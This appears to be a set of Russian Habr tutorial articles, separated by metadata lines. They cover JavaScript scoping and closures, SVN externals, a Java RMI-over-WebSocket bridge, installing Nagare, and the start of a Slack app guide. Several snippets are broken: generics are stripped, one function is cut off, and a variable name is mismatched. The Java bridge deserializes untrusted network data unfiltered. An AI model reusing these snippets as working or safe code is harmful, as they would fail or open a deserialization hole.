Оператор `var` не объявляет локальную копию переменной `i` внутри блока `if`. Вместо этого он перезаписывает уже объявленную ранее. Обратите внимание, что первый оператор `console.log` выводит действительное значение переменной `i`, инициализированной как undefined. А если перейти в строгий режим? В [строгом режиме](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode) переменные **должны** объявляться до того, как они будут использованы, однако движок JavaScript не потребует это сделать. Кстати, имейте в виду, что от вас не потребуют и переобъявления `var`. Если вам нужно выловить подобные баги, то воспользуйтесь инструментами вроде [JSHint](http://www.jshint.com/) или [JSLint](http://www.jslint.com/).
Давайте рассмотрим пример, демонстрирующий другой способ объявления переменных, который может привести к ошибкам:
```
var notNull = 1;
function test() {
if (!notNull) {
console.log("Null-ish, so far", notNull);
for(var notNull = 10; notNull <= 0; notNull++){
//..
}
console.log("Now it's not null", notNull);
}
console.log(notNull);
}
```
В этом примере блок `if` выполняется, потому что локальная копия переменной `notNull` объявлена внутри функции `test()` и **поднята**. Свою роль здесь играет и операция приведения типа.
#### Функциональные выражения и объявления функций
Поднятие может применяться не только к переменным, но также и к функциональным выражениям, которые фактически являются переменными, и к объявлениям функций. Здесь лишь вскользь упомянуто об этой особенности. Если кратко, то объявления функций ведут себя в целом как функциональные выражения, за исключением того, что их объявления размещаются в начале их области видимости.
Вот пример объявления функции:
```
function foo() {
// A function declaration
function bar() {
return 3;
}
return bar();
// This function declaration will be hoisted and overwrite the previous one
function bar() {
return 8;
}
}
```
А теперь сравните с примером функционального выражения:
```
function foo() {
// A function expression
var bar = function() {
return 3;
};
return bar();
// The variable bar already exists, and this code will never be reached
var bar = function() {
return 8;
};
}
```
Для более глубокого понимания вопроса стоит обратиться к публикациям, указанным в конце поста.
#### With
В этом примере отражена ситуация, когда область видимости можно определить лишь во время выполнения:
```
function foo(y) {
var x = 123;
with(y) {
return x;
}
}
```
Если `y` имеет поле `x`, тогда функция `foo()` вернёт `y.x`, в противном случае — `123`. Подобная практика может привести к возникновению ошибок на стадии выполнения, так что рекомендуется избегать использования оператора `with`.
#### Взгляд в будущее: ECMAScript 6
Спецификации [ECMAScript 6](http://www.sitepoint.com/preparing-ecmascript-6-let-const/) позволят внедрить пятый способ определения области видимости на уровне блоков: оператор `let`.
```
function myFunction() {
console.log(i);
var i = 0;
console.log(i);
if (false) {
let i = 5;
console.log(i);
}
console.log(i);
}
```
В ECMAScript 6 объявление `i` внутри `if` с помощью let позволит создавать новую локальную переменную в блоке `if`. В качестве нестандартной альтернативы можно объявлять блоки `let`:
```
var i = 6;
let (i = 0, j = 2) {
/* Other code here */
}
// prints 6
console.log(i);
```
В этом примере переменные `i` и `j` будут существовать только внутри блока. На момент написания поста только в Chrome [поддерживается](http://kangax.github.io/compat-table/es6/#let) использование `let`.
#### В других языках
Ниже представлена сравнительная таблица особенностей реализации областей видимости в разных языках:
| Свойство | Java | Python | JavaScript | Примечание |
| --- | --- | --- | --- | --- |
| Область видимости | Лексическая (блоки) | Лексическая (функции, классы или модули) | Да | Работает совсем не так, как в Java или С. |
| Блочная область видимости | Да | Нет | В связке с `let` (ES6) | Работает совсем не так, как в Java. |
| Поднимание | Нет | Нет | Да | Для объявления переменных, функций и функциональных выражений. |
Функции
-------
Ещё одним камнем преткновения в JavaScript зачастую становятся функции. Причина в том, что в императивных языках вроде Java используется совсем иная концепция. JavaScript относится к функциональным языкам программирования. Правда, он не чисто функциональный, всё-таки в нём явно прослеживается императивный стиль и поощряется мутабельность. Но как бы то ни было, JavaScript может быть использован исключительно как функциональный язык, без какого-либо внешнего воздействия на вызовы функций.
В JavaScript с функциями можно обращаться как с любыми другими типами данных, например, `String` или `Number`. Их можно хранить в переменных и массивах, передавать в качестве аргументов другим функциям и возвращать другими функциями. У них могут быть свойства, их можно динамически изменять, и всё это благодаря объектам.
Для многих новичков в JavaScript удивителен тот факт, что функции здесь являются объектами. Конструктор `Function` создаёт объект `Function`:
```
var func = new Function(['a', 'b', 'c'], '');
```
Это почти аналогично:
```
function func(a, b, c) { }
```
Почти — потому что использование конструктора менее эффективно. Он генерирует анонимную функцию и не создаёт замыкания для её контекста. Объекты `Function` всегда создаются в глобальной области видимости.
`Function`, как разновидность функций, основана на базе `Object`. Это хорошо видно, если разобрать любую объявляемую нами функцию:
```
function test() {}
// prints "object"
console.log(typeof test.prototype);
// prints function Function() { [native code] }
console.log(test.constructor);
```
Это значит, что у функции есть свойства. Некоторые из них назначаются при создании. Например `name` или `length`, возвращающие, соответственно, наименование и количество аргументов в определении функции.
```
function func(a, b, c) { }
// prints "func"
console.log(func.name);
// prints 3
console.log(func.length);
```
Любой функции можно задать и другие свойства, по своему усмотрению:
```
function test() {
console.log(test.custom);
}
test.custom = 123;
// prints 123
test();
```
#### В других языках
Сравнительная таблица реализаций функций в разных языках:
| Свойство | Java | Python | JavaScript | Примечание |
| --- | --- | --- | --- | --- |
| Функции как встроенные типы | Лямбды, Java 8 | Да | Да | |
| Шаблон коллбэков/команд | Объекты (или лямбды для Java 8) | Да | Да | Функции (коллбэки) |
| Динамическое создание | Нет | Нет | `eval` (объект `Function`) | `eval` вызывает вопросы с точки зрения безопасности, объекты `Function` могут работать непредсказуемо |
| Свойства | Нет | Нет | Могут иметь свойства | Доступ к свойствам функций можно ограничить |
Замыкания
---------
JavaScript был первым из основных языков программирования, в котором появились замыкания. Как вы, вероятно, знаете, в Java и Python долгое время были упрощённые версии замыканий, когда можно было только считывать некоторые значения из объемлющих областей видимости. Скажем, в Java анонимный вложенный класс обеспечивает функциональность, аналогичную замыканиям (с некоторыми ограничениями). Например, в их областях видимости могут использоваться только финальные локальные переменные. Точнее, могут быть считаны их значения.
В JavaScript имеется полный доступ к внешним переменным и функциям внешней области видимости. Их можно считывать, записывать и, при необходимости, даже скрывать с помощью локальных определений. Примеры этого были неоднократно представлены в первой главе.
Ещё интереснее то, что созданная в замыкании функция «помнит» окружение, в котором она была создана. Комбинируя замыкания и вложенность функций, можно сделать так, что внешние функции будут возвращать внутренние без их исполнения. Более того, локальные переменные внешних функций могут сохраняться в замыкании внутренней функции ещё долгое время после исполнения той, где они объявлялись последний раз. Это довольно мощный инструмент, но у него есть один недостаток: распространённая проблема утечки памяти в JavaScript-приложениях.
Для лучшего понимания всего вышесказанного, давайте разберём несколько примеров.
```
function makeCounter () {
var i = 0;
return function displayCounter () {
console.log(++i);
};
}
var counter = makeCounter();
// prints 1
counter();
// prints 2
counter();
```
Функция `makeCounter()` создаёт и возвращает другую функцию, которая сохраняет связь со своим родительским окружением. Хотя исполнение `makeCounter()` закончилось с присвоением переменной counter, локальная переменная i сохраняется в замыкании `displayCounter`, внутри тела которого можно получить к ней доступ.
Если снова запустить `makeCounter()`, то она создаст новое замыкание с другим начальным значением `i`:
```
var counterBis = makeCounter();
// prints 1
counterBis();
// prints 3
counter();
// prints 2
counterBis();
```
Можно сделать и так, что `makeCounter()` примет аргумент:
```
function makeCounter(i) {
return function displayCounter () {
console.log(++i);
};
}
var counter = makeCounter(10);
// prints 11
counter();
// prints 12
counter();
```
Аргументы внешних функций также хранятся в замыкании, так что нам не нужно объявлять локальную переменную. При каждом вызове `makeCounter()` будет запоминаться установленное нами начальное значение, от которого и будет вестись отсчёт.
Замыкания крайне важны для многих фундаментальных вещей в JavaScript: пространства имён, модулей, закрытых переменных, мемоизации и т.д. Например, вот так можно смоделировать закрытую переменную для объекта:
```
function Person(name) {
return {
setName: function(newName) {
if (typeof newName === 'string' && newName.length > 0) {
name = newName;
} else {
throw new TypeError("Not a valid name");
}
},
getName: function () {
return name;
}
};
}
var p = Person("Marcello");
// prints "Marcello"
a.getName();
// Uncaught TypeError: Not a valid name
a.setName();
// Uncaught TypeError: Not a valid name
a.setName(2);
a.setName("2");
// prints "2"
a.getName();
```
Таким образом можно создавать обёртку для имени свойства с нашими собственными сеттером и геттером. В ES 5 это стало делать гораздо проще, поскольку можно создавать объекты с сеттерами/геттерами для их свойств и тонко настраивать доступ к этим свойствам.
#### В других языках
Сравнительная таблица реализаций замыканий в разных языках:
| Свойство | Java | Python | JavaScript | Примечание |
| --- | --- | --- | --- | --- |
| Замыкание | С ограниченными возможностями, только чтение, в анонимных вложенных классах | С ограниченными возможностями, только чтение, во вложенных определениях | Да | Утечки памяти |
| Шаблон мемоизации | Необходимо использовать совместно используемые объекты | Возможно с использованием списков или словарей | Да | Лучше использовать отложенные вычисления |
| Шаблон пространства имён/модуля | Не нужно | Не нужно | Да | |
| Шаблон приватных атрибутов | Не нужно | Невозможно | Да | Может ввести в заблуждение |
Заключение
----------
Итак, в этой статье описаны три особенности JavaScript, которые чаще всего сбивают с толку разработчиков, ранее работавших на других языках программирования, особенно на Java и С. Если вы хотите глубже изучить затронутые темы, можно почитать эти ресурсы:
• [Scoping in JavaScript](http://www.adequatelygood.com/JavaScript-Scoping-and-Hoisting.html)
• [Function Declarations vs Function Expressions](http://javascriptweblog.wordpress.com/2010/07/06/function-declarations-vs-function-expressions/)
• [Let statement and let blocks](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let) | https://habr.com/ru/post/257617/ | null | ru | null |
# SVN → Подключение внешних библиотек
Итак, сегодня речь пойдет о подключении внешних библиотек (суб-проектов) в основные проекты с использованием **Subversion**.
По старой доброй традиции, в качестве клиента для работы с **SVN** будет использоваться давно полюбившийся нам **TortoiseSVN**.
Как обычно, все описанное ниже не претендует на звание инновационной идеи. Это всего лишь обмен опытом, целью которого является облегчение работы для разработчиков.
Подключение внешних библиотек может оказаться очень полезной «фишкой» системы контроля версий, особенно, когда вы работаете над несколькими проектами, которые используют одну и ту же библиотеку (это может быть что угодно, от класса для работы с БД до системных шаблонов).
Для примера, давайте определим исходные данные:
у нас есть два проекта («Один», «Два») и одна библиотека («Library»), которую необходимо внедрить в оба проекта. Пусть у нас будет следующий путь до этой библиотеки: `subserver/code/library/trunk`.
Рабочие копии обоих проектов у нас есть. Предположим, что в каждом из них есть папка `/libraries/`, внутри которой нам нужно создать папку `/library/`, в которой и будет лежать наша внешняя библиотека.
*Я изначально указываю на то, что библиотека будет лежать в отдельной папке, т.к. свойство `svn:externals`, которое мы будем использовать, работает только с папками.*
Дальше, все получается очень просто: открываем свойства папки `/libraries/` любого из проектов (*два проекта описываются исключительно для того, чтобы показать, как работает обновление*). Выглядеть оно будет примерно так:
Нажимаем кнопочку `Add...`, и видим окно для добавления свойств, примерно следующее:
В выпадающем списке выбираем пункт **`svn:externals`** (первый в списке). Далее нам необходимо прописать значение свойства. Для `svn:externals` значением является строчка следующего вида:
`Имя-Папки Путь-К-Репозиторию`, где для нашего примера имя папки будет: `library`, а путь к репозиторию будет: `subserver/code/library/trunk`.
Дословно наша строчка будет выглядеть так:
> library [subserver/code/library/trunk](http://subserver/code/library/trunk/)
*Путь к репозиторию можно легко получить, воспользовавшись утилитой [Repo-browser](http://habrastorage.org/storage/17dc25bc/1da8fa59/edc3c813/15a68768.png), входящий в поставку TortoiseSVN.*
Разделителем может служить один или несколько символов пробела или табуляции. Лично я использую четыре пробела.
Нужно упомянуть, что возможно [указание конкретной ревизии](#comment473643) для библиотеки, но в большинстве случаев это нежелательное действие, поскольку никаких изменений в библиотеку внести мы уже не сможем.
Собственно, на этом все нововведения заканчиваются. Сохраняем свойства.
Далее, нам необходимо сделать Update, чтобы убедиться, что все верно и библиотека успешно загрузится в проект. При этом папка `/library/` будет создана автоматически. Если все гладко, делаем Commit, чтобы сохранить свойства папки непосредственно в репозитории проекта. С этого момента, во всех рабочих копиях этого проекта (т.е. у всех разработчиков) нужная библиотека будет подключаться автоматически.
Теперь мы делаем совершенно аналогичные действия со вторым проектом (возможно, будут отличаться имена папок, но это не важно). В итоге, получаем два проекта, использующих одну и ту же внешнюю библиотеку.
Теперь допустим ситуацию, когда при работе над проектом «Два» нам необходимо изменить что-то в библиотеке. Мы вносим эти изменения непосредственно в файлы, которые физически находятся в папке `/libraries/library/`. После того, как все изменения были внесены, мы делаем Commit. И изменения автоматически заносятся в репозиторий библиотеки: `subserver/code/library/trunk`. Если теперь сделать Update проекта «Один», туда будет загружена обновленная версия библиотеки.
Тут есть тонкий момент относительно комментариев, добавляемых к Commit'у: если изменения касаются и проекта, и библиотеки, то все комментарии запишутся в логи и к проекту, и к библиотеке. Так что я рекомендую сохранять подобные изменения отдельными ревизиями.
Еще одна потенциальная опасность, с которой могут столкнуться неопытные программисты — несовместимость новой версии библиотеки с каким-то из проектов. На это есть два ответа: 1. пишите совместимый код, чтобы он работал везде. 2. Можете использовать ветки (branch), чтобы отделить предыдущую версию библиотеки, и подключить в проект ее (полностью аналогичным способом).
И, напоследок, практически цитата из документации: помните, что `svn:externals` — это свойства папки, таким образом, если ваш проект или внешняя библиотека будут куда-то перемещены (напр. Relocate'ом), пути в свойствах не изменятся автоматически, их нужно будет исправлять вручную.
Вот, в общем-то, и все, что я хотел вам сегодня поведать.
Как всегда, с удовольствием почитаю ваши комментарии. | https://habr.com/ru/post/15823/ | null | ru | null |
# Максимально простой в поддержке способ интеграции java-клиента с java-сервером
При решении повседневных задач с интерфейсом настольного приложения, реализованного на JavaFX, приходится в любом случае делать запрос на веб-сервер. После времен J2EE и страшной аббревиатуры RMI многое изменилось, а вызовы на сервер стали более легковесными. Как нельзя кстати для подобной проблемы подходит стандарт веб-сокетов и его обмен простыми текстовыми сообщениями любого содержания. Но проблема корпоративных приложений в том, что разнообразность и количество запросов превращает создание и отслеживание *EndPoint*-ов при наличии отдельно выделенных бизнес-сервисов в жуткую рутину и добавляет лишних строк кода.
А что если взять за основу строго типизированную стратегию с RMI, где между клиентом и сервером существовал стандартный java *interface*, описывающий методы, аргументы и возвращаемые типы, где добавлялось пару аннотаций, и волшебным образом клиент даже не замечал, что идет вызов по сети? Что если по сети передавать не просто текст, а сериализованные java-объекты? Что если добавить к этой стратегии легкость веб-сокетов и их преимущества возможности push-вызовов клиента со стороны сервера? Что если асинхронность ответов веб-сокета для клиента обуздать в привычный блокирующий вызов, а для отложенного вызова добавить возможность возвращения *Future* или даже *CompletableFuture*? Что если добавить возможность подписки клиента на определенные события от сервера? Что если на сервере иметь сессию и подключение к каждому клиенту? Может получиться неплохая прозрачная связка привычная любому java-программисту, так как за интерфейсом будет скрыта магия, а в тестировании интерфейсы легко подменить. Но вот только это все не для нагруженных приложений, обрабатывающих, например, котировки с фондовой биржи.
В корпоративных приложениях из моей практики скорость выполнения sql-запроса и передачи выбираемых данных из СУБД несоизмеримы с накладными расходами на сериализацию и рефлексивные вызовы. Более того страшная трассировка EJB-вызовов, дополняющая длительность выполнения до 4 — 10 мс даже на самый простенький запрос не является проблемой, так как длительность типичных запросов находится в коридоре от 50мс до 250мс.
Начнем с самого простого — воспользуемся паттерном Proxy-объект для реализации магии за методами интерфейса. Предположим, что у меня есть метод получения истории переписки пользователя с его оппонентами:
```
public interface ServerChat{
Map> getHistory(Date when, String login);
}
```
Proxy-объект создадим стандартными средствами java, и вызовем на нем нужный метод:
```
public class ClientProxyUtils {
public static BiFunction defaultFactory = RMIoverWebSocketProxyHandler::new;
public static T create(Class clazz, String jndiName) {
T f = (T) Proxy.newProxyInstance(clazz.getClassLoader(),
new Class[]{clazz},
defaultFactory.apply(jndiName, clazz));
return f;
}
}
//подключение и открытие сокета
//...
ServerChat chat = ClientProxyUtils.create(ServerChat.class, "java:global/test\_app/ServerChat");
Map> history = chat.getHistory(new Date(), "tester");
//...
//закрытие сокета и соединения
```
Если при этом настроить фабрики, а экземпляр proxy-объекта внедрять по интерфейсу через cdi-инъекцию, то получится магия в чистом виде. При этом открывать/закрывать сокет каждый раз совсем не обязательно. Напротив в моих приложениях сокет постоянно открыт и готов к приему и обработке сообщений. Теперь стоит посмотреть, что такого происходит в *RMIoverWebSocketProxyHandler*:
```
public class RMIoverWebSocketProxyHandler implements InvocationHandler {
public static final int OVERHEAD = 0x10000;
public static final int CLIENT_INPUT_BUFFER_SIZE = 0x1000000;// 16mb
public static final int SERVER_OUT_BUFFER_SIZE = CLIENT_INPUT_BUFFER_SIZE - OVERHEAD;
String jndiName;
Class interfaze;
public RMIoverWebSocketProxyHandler(String jndiName, Class interfaze) {
this.jndiName = jndiName;
this.interfaze = interfaze;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
Request request = new Request();
request.guid = UUID.randomUUID().toString();
request.jndiName = jndiName;
request.methodName = method.getName();
request.args = args;
request.argsType = method.getParameterTypes();
request.interfaze = interfaze;
WaitList.putRequest(request, getRequestRunnable(request));
checkError(request, method);
return request.result;
}
public static Runnable getRequestRunnable(Request request) throws IOException {
final byte[] requestBytes = write(request);
return () -> {
try {
sendByByteBuffer(requestBytes, ClientRMIHandler.clientSession);
} catch (IOException ex) {
WaitList.clean();
ClientRMIHandler.notifyErrorListeners(new RuntimeException(FATAL_ERROR_MESSAGE, ex));
}
};
}
public static byte[] write(Object object) throws IOException {
try (ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream ous = new ObjectOutputStream(baos)) {
ous.writeObject(object);
return baos.toByteArray();
}
}
public static void sendByByteBuffer(byte[] responseBytes, Session wsSession) throws IOException {
...
}
public static void checkError(Request request, Method method) throws Throwable {
...
}
@FunctionalInterface
public interface Callback {
V call() throws Throwable;
}
}
```
А вот собственно сам клиентский *EndPoint*:
```
@ClientEndpoint
public class ClientRMIHandler {
public static volatile Session clientSession;
@OnOpen
public void onOpen(Session session) {
clientSession = session;
}
@OnMessage
public void onMessage(ByteBuffer message, Session session) {
try {
final Object readInput = read(message);
if (readInput instanceof Response) {
standartResponse((Response) readInput);
}
} catch (IOException ex) {
WaitList.clean();
notifyErrorListeners(new RuntimeException(FATAL_ERROR_MESSAGE, ex));
}
}
private void standartResponse(final Response response) throws RuntimeException {
if (response.guid == null) {
if (response.error != null) {
notifyErrorListeners(response.error);
return;
}
WaitList.clean();
final RuntimeException runtimeException = new RuntimeException(FATAL_ERROR_MESSAGE);
notifyErrorListeners(runtimeException);
throw runtimeException;
} else {
WaitList.processResponse(response);
}
}
@OnClose
public void onClose(Session session, CloseReason closeReason) {
WaitList.clean();
}
@OnError
public void onError(Session session, Throwable error) {
notifyErrorListeners(error);
}
private static Object read(ByteBuffer message) throws ClassNotFoundException, IOException {
Object readObject;
byte[] b = new byte[message.remaining()]; // don't use message.array() becouse it is optional
message.get(b);
try (ByteArrayInputStream bais = new ByteArrayInputStream(b);
ObjectInputStream ois = new ObjectInputStream(bais)) {
readObject = ois.readObject();
}
return readObject;
}
}
```
Таким образом, на вызов любого метода proxy-объекта берем открытую сессию сокета, шлем переданные аргументы и реквизиты метода, который необходимо вызвать на сервере, и wait-имся до получения ответа с указанными ранее в запросе гуидом. При получении ответа проверяем на наличие исключения, и, если все хорошо, то кладем в Request результат ответа и нотифицируем поток, ожидающий ответа в WaitList-е. Реализацию такого WaitList-а приводить не буду, так как она тривиальна. Ожидающий поток в лучшем случае продолжит работать после строки *WaitList.putRequest(request, getRequestRunnable(request));*. После пробуждения поток проверит наличие задекларированных в секции *throws* исключений, и выполнит возврат результата через *return*.
Приведенные примеры кода являются выдержкой из библиотеки, которая пока не готова для выкладки на github. Необходимо проработать вопросы лицензирования. Реализацию серверной стороны имеет смысл смотреть уже в самом исходном коде после его опубликования. Но ничего особенного там нет — выполняется поиск ejb-объекта, который реализует указанный интерфейс, в jndi через InitialContext и делается рефлексивный вызов по переданным реквизитам. Там конечно еще много чего интересного, но ни в одну статью такой объем информации не влезет. В самой библиотеке приведенный сценарий блокирующего вызова был реализован в первую очередь, так как является самым простым. Позже была добавлена поддержка неблокирующих вызовов посредством *Future* и *CompletableFuture<>*. Библиотека успешно используется во всех продуктах с настольным java-клиентом. Буду рад, если кто-то поделится опытом открытия исходного кода, который линкуется с gnu gpl 2.0 (*tyrus-standalone-client*).
В итоге построить иерархию вызова метода стандартными средствами IDE до самой UI-формы, на которой обработчик кнопки дергает удаленные сервисы, не составляет труда. При этом получаем строгую типизацию и слабую связанность слоя интеграции клиента и сервера. Структура исходного кода приложения делится на клиент, сервер и ядро, которое подключается зависимостью и в клиент, и в сервер. Именно в нем и находятся все *удаленные* интерфейсы и передаваемые объекты. А рутинная задача разработчика, связанная с запросом в БД, требует нового метода в интерфейсе и его реализации на стороне сервера. На мой взгляд, куда уж проще... | https://habr.com/ru/post/422073/ | null | ru | null |
# Nagare — пример использования фреймворка
В прошлом [посте](http://hemul.habrahabr.ru/blog/86595/) я презентовал [Nagare](http://www.nagare.org) — революционный (хоть и имеющий аналоги на [Smalltalk](http://www.seaside.st) и [CL](http://weblocks.viridian-project.de/)) питоновский web-фреймворк. Тот пост был несколько сумбурен и отражал, скорее, степень моего восторга, чем реальные особенности технологии. Сегодня я попробую дать немного более практический пример.
Начнем сначала. Прежде всего, нам потребуется [Stackless Python](http://stackless.com/). Для инсталляции на FreeBSD (далее, я буду использовать эту систему в качестве базы, для Linux отличий быть не должно, для MacOS и Windows есть особенности, но они не критичны) необходимо скачать дистрибутив:
`$ fetch \http://www.stackless.com/binaries/stackless-264-export.tar.bz2`
распаковать его:
`$ tar -xvjf stackless-264-export.tar.bz2`
сконфигурировать (инсталлировать будем в /usr/local/stackless)
`$ cd stackless-2.6.4
$ ./configure --prefix=/usr/local/stackless`
скомпилировать и установить:
`$ make
$ sudo make install`
Вообще-то, наиболее правильным было бы инсталлировать stackless-python через систему ports, но он в ней почему-то отсутствует.
Теперь нам нужно скачать и распаковать [virtualenv](http://virtualenv.openplans.org/):
`$ fetch \http://pypi.python.org/packages/source/v/virtualenv/virtualenv-1.4.5.tar.gz
$ tar -xvzf virtualenv-1.4.5.tar.gz`
после чего создать виртуальную «песочницу», в которой будет работать Nagare (/usr/local/nagare):
`$ cd virtualenv-1.4.5
$ sudo /usr/local/stackless/bin/python ./virtualenv.py /usr/local/nagare`
Теперь, нужно установить, собственно, сам Nagare:
`sudo /usr/local/nagare/bin/easy_install 'nagare[full]'`
Все, Nagare установлен и готов к работе.
Создадим приложение:
`$ /usr/local/nagare/bin/nagare-admin create-app test1
Application 'test1' created.
Note:
1. Edit the file 'test1/setup.py' to set the informations about your new application.
2. Register your application with:
- cd "test1"
- "/usr/local/nagare/bin/python" setup.py develop`
Будет создан каталог test1, содержащий следующие файлы:
./test1/setup.py
./test1/test1/\_\_init\_\_.py
./test1/test1/app.py
./test1/test1/models.py
./test1/static/\_\_init\_\_.py
./test1/data/\_\_init\_\_.py
./test1/conf/\_\_init\_\_.py
./test1/conf/test1.cfg
Файл setup.py содержит всякую служебную информацию типа лицензии, имени автора, его email и т.п., для тестового приложения можно его не заполнять, работать будет и так.
В файле conf/test1.cfg включим режим отладки и подключим БД (по умлочанию — sqlite). После исправлений он будет выглядеть так:
`[application]
path = app test1
name = test1
debug = on
[database]
activated = on
uri = sqlite:///$here/../data/test1.db
metadata = test1.models:__metadata__
debug = on`
Теперь выполним команду:
`$ sudo /usr/local/nagare/bin/python ./setup.py develop`
Все, приложение зарегистрировано, можно его протестировать:
`$ /usr/local/nagare/bin/nagare-admin serve test1
Application 'app test1' registered as '/test1'
03/17/10 18:00:35 - serving on \http://127.0.0.1:8080`
По умолчанию приложение будет доступно по адресу \http://127.0.0.1:8080/test1.
Приступим к разработке.
Сначала зададим таблицы базы данных. Для этого отредактируем файл test1/models.py, добавив определения таблиц (интересующихся подробностями отошлю к документации [Elixir](http://elixir.ematia.de/trac/wiki)). В итоге, файл будет выглядеть так:
````
from elixir import *
from sqlalchemy import MetaData
__metadata__ = MetaData()
class GuestBookRecord(Entity):
text=Field(Unicode(1000))
name=Field(Unicode(50))
````
Создадим саму базу данных:
`$ /usr/local/nagare/bin/nagare-admin create-db test1
2010-03-17 18:08:22,895 INFO sqlalchemy.engine.base.Engine.0x...ac6c PRAGMA table_info("test1_models_guestbookrecord")
2010-03-17 18:08:22,900 INFO sqlalchemy.engine.base.Engine.0x...ac6c ()
2010-03-17 18:08:22,934 INFO sqlalchemy.engine.base.Engine.0x...ac6c
CREATE TABLE test1_models_guestbookrecord (
id INTEGER NOT NULL,
text VARCHAR(1000),
name VARCHAR(50),
PRIMARY KEY (id)
)
2010-03-17 18:08:22,971 INFO sqlalchemy.engine.base.Engine.0x...ac6c ()
2010-03-17 18:08:22,982 INFO sqlalchemy.engine.base.Engine.0x...ac6c COMMIT`
Теперь запрограммируем простейшую гостевую книгу. Для этого файл test1/app.py отредактируем следующим образом:
````
from __future__ import with_statement
import os
from nagare import presentation, var
# Импортируем структуру таблиц
from models import *
class Test1(object):
def __init__(self):
self.name=var.Var("") # В эти переменные будут помещаться значения полей формы
self.text=var.Var("") #
# Метод для добавления записи в БД
def add_rec(self):
nr=GuestBookRecord()
nr.name=self.name()
nr.text=self.text()
session.save(nr)
@presentation.render_for(Test1)
def render(self, h, *args):
# Заголовок
h<
````
Запустив приложение командой:
`$ /usr/local/nagare/bin/nagare-admin serve test1`
По адресу \http://127.0.0.1:8080/test1 мы обнаружим премилую гостевую книгу, в стиле «привет из 90-х».
Приведенный выше пример не раскрывает и 10% возможностей Nagare и приведен только для примера. В следующий раз я покажу, как при помощи Nagare можно создавать более сложные приложения. | https://habr.com/ru/post/87908/ | null | ru | null |
# Разработка Action-able приложения для Slack
**От переводчика:** публикуем для вас [статью](https://medium.com/slack-developer-blog/tutorial-developing-an-action-able-app-4d5455d585b6) Томоми Имуры о том, как разработать приложение, интегрированное со Slack
Actions — то, что позволяет пользователям Slack взаимодействовать с вашим приложением при помощи сообщений: сообщить о проблеме с багом, отправить запрос в хелпдеск или сделать что-то еще. Эта функция похожа на встроенные возможности вроде комментирования или шеринга.
Этот туториал проведет вас через весь процесс создания действующего приложения.
> **Skillbox рекомендует:** Двухлетний практический курс [«Я – Веб-разработчик PRO»](https://iamwebdev.skillbox.ru/?utm_source=skillbox.media&utm_medium=habr.com&utm_campaign=WEBDEVPRO&utm_content=articles&utm_term=appforslack).
>
>
>
> **Напоминаем:** *для всех читателей «Хабра» — скидка 10 000 рублей при записи на любой курс Skillbox по промокоду «Хабр».*
Туториал будет полезен для всех, кто хотел бы изучить API Slack. При разработке приложения используется Node.js, так что, если вы хотите повторить то, о чем пойдет разговор, — установите его.
С готовым проектом можно ознакомиться на [GitHub](https://github.com/slackapi/template-action-and-dialog), с упрощенной его версией — на [Glitch](https://glitch.com/~slack-clipit-simplified).
**ClipIt! for Slack**
Мы займемся разработкой Slack-app для воображаемого приложения ClipIt! Давайте представим, что мы управляем веб-сервисом, который позволяет «заложить» часть веб-страницы, сохранив ее в базу данных. Пользователи могут получать доступ к сохраненному контенту с мобильного устройства или ПК, сервис является мультиплатформенным. А еще ClipIt! позволяет прикреплять текст в среде сообщений Slack, используя Action.
Вот гифка, демонстрирующая принцип действия приложения.
А вот алгоритм взаимодействия пользователя с ClipIt! из Slack:
* Пользователь наводит курсор на сообщение и выбирает Clip the message в выпадающем меню.
* Открывается диалог, который дает больше возможностей.
* Пользователь подтверждает действие.
* ClipIt! для Slack экспортирует сообщение в базу данных ClipIt!.
* ClipIt! для Slack отправляет пользователю DM с подтверждением.
### Настраиваем приложение
Зайдите в свой аккаунт Slack и создайте приложение при помощи [этой ссылки](https://api.slack.com/apps?new_app_token=1?cvosrc=blog.medium.medium_fy19-q411-making_apps_actionable&cvo_creative=&utm_medium=blog&utm_source=medium&utm_campaign=cd_blog_medium_all_en_developers_ob-null_cr-_ym-). Введите его название и область применения.
Нажмите кнопку Create App, затем — Basic Information, прокрутите до App Credentials.
После этого откройте Signing Secret и скопируйте код для использования в качестве переменной окружения SLACK\_SIGNING\_SECRET в вашем .env-файле в root Node. Я объясню, что это и как все это использовать, в разделе «Верификация запросов» чуть ниже.
SLACK\_SIGNING\_SECRET=15770a…
Прокрутите еще немного ниже для заполнения Display Information с иконкой вашего приложения и описанием.
Теперь включите Interactivity в Interactive Components. Сделав это, вы увидите больше полей на странице.
Пора ввести Request URL — это адрес, на который Slack отсылает соответствующие данные, когда пользователь запускает действие.
Это должен быть URL вашего сервера, на котором выполняется код приложения. Например, если вы разместили все это в Glitch, ваш URL будет выглядеть примерно так [example.glitch.me/actions](https://example.glitch.me/actions). Если вы используете туннелирование, работая с сервисами вроде ngrok, то используйте URL сервиса (например [example.ngrok.io](https://example.ngrok.io), а затем добавляйте /actions).
Как только вы ввели Request URL, прокрутите вниз до Actions и нажмите Create New Action. Заполните форму:
Нажмите Create, затем Save Changes.
Далее идем к Bot Users. Нажмите Add a Bot User и назовите бота приложения.
Теперь кликаем по Add Bot User и сохраняемся.
Следующий шаг — идем в OAuth & Permissions и нажимаем Install App to Workspace. После завершения установки страница вернет вас к OAuth & Permission с токенами доступа. Скопируйте токен бота и сохраните все это в файле .env.
SLACK\_ACCESS\_TOKEN=xoxb-214…
Кроме того, на той же странице нужно будет активировать Scopes. Сделав это, удостоверьтесь, что и bot, и command выделены.
Теперь, когда все настройки готовы, начинаем творить — пишем приложение.
### Создание приложения
Как говорилось выше, при создании приложения используются Node.js и ExpressJS. Для того чтобы работать со всем этим, устанавливаем зависимости ExpressJS, bodyParser и еще кое-что. Так, я используют клиент HTTP-запросов axios вместе с qs.
$ npm install express body-parser axios qs dotenv --save
Давайте начнем с самого важного. Мы изменим код позже, когда добавим больше функций. Сначала создаем файл index.js. В этом файле прописываем прослушивание сервером соответствующего порта:
```
/* Snippet 1 */
require('dotenv').config(); // To grab env vers from the .env file
const express = require('express');
const bodyParser = require('body-parser');
const axios = require('axios');
const qs = require('qs');
const app = express();
// The next two lines will be modified later
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: true }));
const server = app.listen(5000); // port
```
Прежде чем продолжить, давайте взглянем на диаграмму с описанием принципов работы всего, о чем мы сейчас говорим.
